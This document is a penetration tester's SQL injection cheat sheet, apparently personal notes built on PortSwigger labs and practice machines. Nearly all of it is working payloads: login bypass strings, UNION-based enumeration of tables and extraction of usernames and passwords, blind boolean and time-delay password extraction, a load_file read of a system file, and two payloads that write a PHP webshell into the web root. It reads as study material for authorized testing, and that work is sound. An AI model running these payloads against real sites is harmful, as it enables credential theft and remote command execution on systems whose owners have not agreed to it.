# SQL Injection

## Authentication Bypass

**Logical Operation:**

If&#x20;

`?username=Peter`&#x20;

returnns the same as this

`?username=Peter' or '1'='1`

**Mathematical Operation:**

If

`?id=1`

returns the same as this

`?id=2-1`

&#x20;

`page.asp?id=1 or 1=1 -- true`

`page.asp?id=1 'or 1=1 -- true`

`page.asp?id=1" or 1=1 -- true`

`page.asp?id=1 and 1=2 -- false`

&#x20;

{% embed url="<https://github.com/payloadbox/sql-injection-payload-list>" %}

## UNION Attack

Union attacks allow UNION queries to a query. This means the db will query more than one item, the regular one for the program and the one you send.

&#x20;

Example:

* Real Query: `SELECT a, b FROM table1`
* UNION Attack: `SELECT a, b FROM table1 UNION SELECT c, d FROM table2`

&#x20;

However, there are 2 prerequisites for a UNION attack to work:

* Both queries have to return the same number of columns
* The data types must be compatible between the queries

Both of the prereqs must be figured out before one can perform a successful attack.

### Determining Number of Columns

Use payloads such as:

`' ORDER BY 1--`&#x20;

`' ORDER BY 2--`&#x20;

`' ORDER BY 3--`&#x20;

`etc.`

&#x20;

OR

&#x20;

`' UNION SELECT NULL--`&#x20;

`' UNION SELECT NULL,NULL--`&#x20;

`' UNION SELECT NULL,NULL,NULL--`&#x20;

`etc.`

&#x20;

When entering the payloads, watch the response of each query to determine whether it gives an error. If we're lucky, it'll tell us useful info.

&#x20;

PortSwigger NBs

* The reason for using `NULL` as the values returned from the injected `SELECT` query is that the data types in each column must be compatible between the original and the injected queries. Since `NULL` is convertible to every commonly used data type, using `NULL` maximizes the chance that the payload will succeed when the column count is correct.

On Oracle, every `SELECT` query must use the `FROM` keyword and specify a valid table. There is a built-in table on Oracle called `dual` which can be used for this purpose. So the injected queries on Oracle would need to look like:

* `' UNION SELECT NULL FROM DUAL--`
* The payloads described use the double-dash comment sequence `--` to comment out the remainder of the original query following the injection point. On MySQL, the double-dash sequence must be followed by a space. Alternatively, the hash character `#` can be used to identify a comment.

### Finding Columns with Useful Data

**Finding Columns with Useful Data:**

Make sure to find the number of columns first, then use some payloads.

`' UNION SELECT 'a',NULL,NULL,NULL--`&#x20;

`' UNION SELECT NULL,'a',NULL,NULL--`&#x20;

`' UNION SELECT NULL,NULL,'a',NULL--`&#x20;

`' UNION SELECT NULL,NULL,NULL,'a'--`

### Listing Database Contents

* Determine columns
* Determine table names
* Retrieve table contents of interesting tables

#### Determining Columns

* Same as previous note, need to verify number and data type of columns
* Sample payload: `' UNION SELECT 'fff', 'abc'--`&#x20;
* The above payload assumes two columns already discovered, and now being tested for data type

#### Determining Table Names

* Non-Oracle databases contain an information schema that shows db info
* Sample payload: `' UNION SELECT table_name, NULL FROM information_schema.tables--`&#x20;
* Again as above, this assumes 2 columns already enumerated

#### Retrieve Columns Inside New Tables

* The above has given a list of tables. Find an interesting one and check the columns
* Sample payload: `' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users_ybzpcs'--`&#x20;
* Above assumes found table named users\_ybzpcs already

#### Retrieve Table Information

* Now that we know table name and columns, we can retrieve the data
* Sample payload: `' UNION SELECT username_szeqci, password_szyjbk FROM users_ybzpcs--`&#x20;
* This should give the table contents of users\_ybzpcs which has usernames & passwords

#### Oracle

The syntax is slightly different.

* Sample payload to find table name: `' UNION SELECT table_name, NULL FROM all_tables--`
* Sample payload to list colums in found tables: `' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name='USERS_CADLCX'--`
* Sample payload to list contents of found columns: `' UNION SELECT USERNAME_TEORXF, PASSWORD_GCBIAD FROM USERS_CADLCX--`

## Read Files

```
http://10.11.0.22/debug.php?id=1 union all select 1, 2, load_file('C:/Windows/System32
/drivers/etc/hosts')
```

## Write File

**PHP webshell using INTO OUTFILE:**

```
http://10.11.0.22/debug.php?id=1 union all select 1, 2, "<?php echo shell_exec($_GET['
cmd']);?>" into OUTFILE 'c:/xampp/htdocs/backdoor.php'
```

## Blind Injection

Blind => Cannot see results so don't know the details

&#x20;

Top Tips:

* Change the logic to boolean to see how the response could differ
* Trigger a time delay
* Trigger an out of band network interaction using OAST

### Conditional Boolean Responses

In this method, we can use a true or false statement, see the error in the response, and figure out what data is in the db from there.

&#x20;

Example with cookie parameter:

`xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a`\
`xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a`

In the first query, a false response is generated and in the second, a true.

Once the response is determined, we can get information.

`xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a`

In this case the first 1 is the location of the character in the password, and >m would be determining if the first letter was greater than m.

&#x20;

This is an extremely tedious process without SQLMap or Burp Pro but good to know how it can work.

### Time Delay

In some instances, even when sending a boolean query we can't see a change in the site. It could still look exactly the same even if an error is produced. However, since queries are typically handled synchronously, a time-delay query added to the vulnerable parameter could produce a result in the form of a delayed response for the time given.

&#x20;

#### Verification Query:

`TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--`

This represents a vuln in the trackingid parameter. If the result of this injection is a delay of 10 seconds, we know it's vulnerable if the following does NOT return in the same amount of time.

`TrackingId=x'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--`

&#x20;

#### Data extraction example:

`TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,2,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--`

&#x20;

In that case it's necessary to iterate over every single possibility to find the password. This assumes we know the length.

&#x20;

#### Length Discovery:

`TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>3)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--`

## `PHP Webshell`

```
' union select 1, '<?php system($_GET["cmd"]); ?>' into outfile 'C:/xampp/htdocs/cmd.php'
```

See medjed, hawat
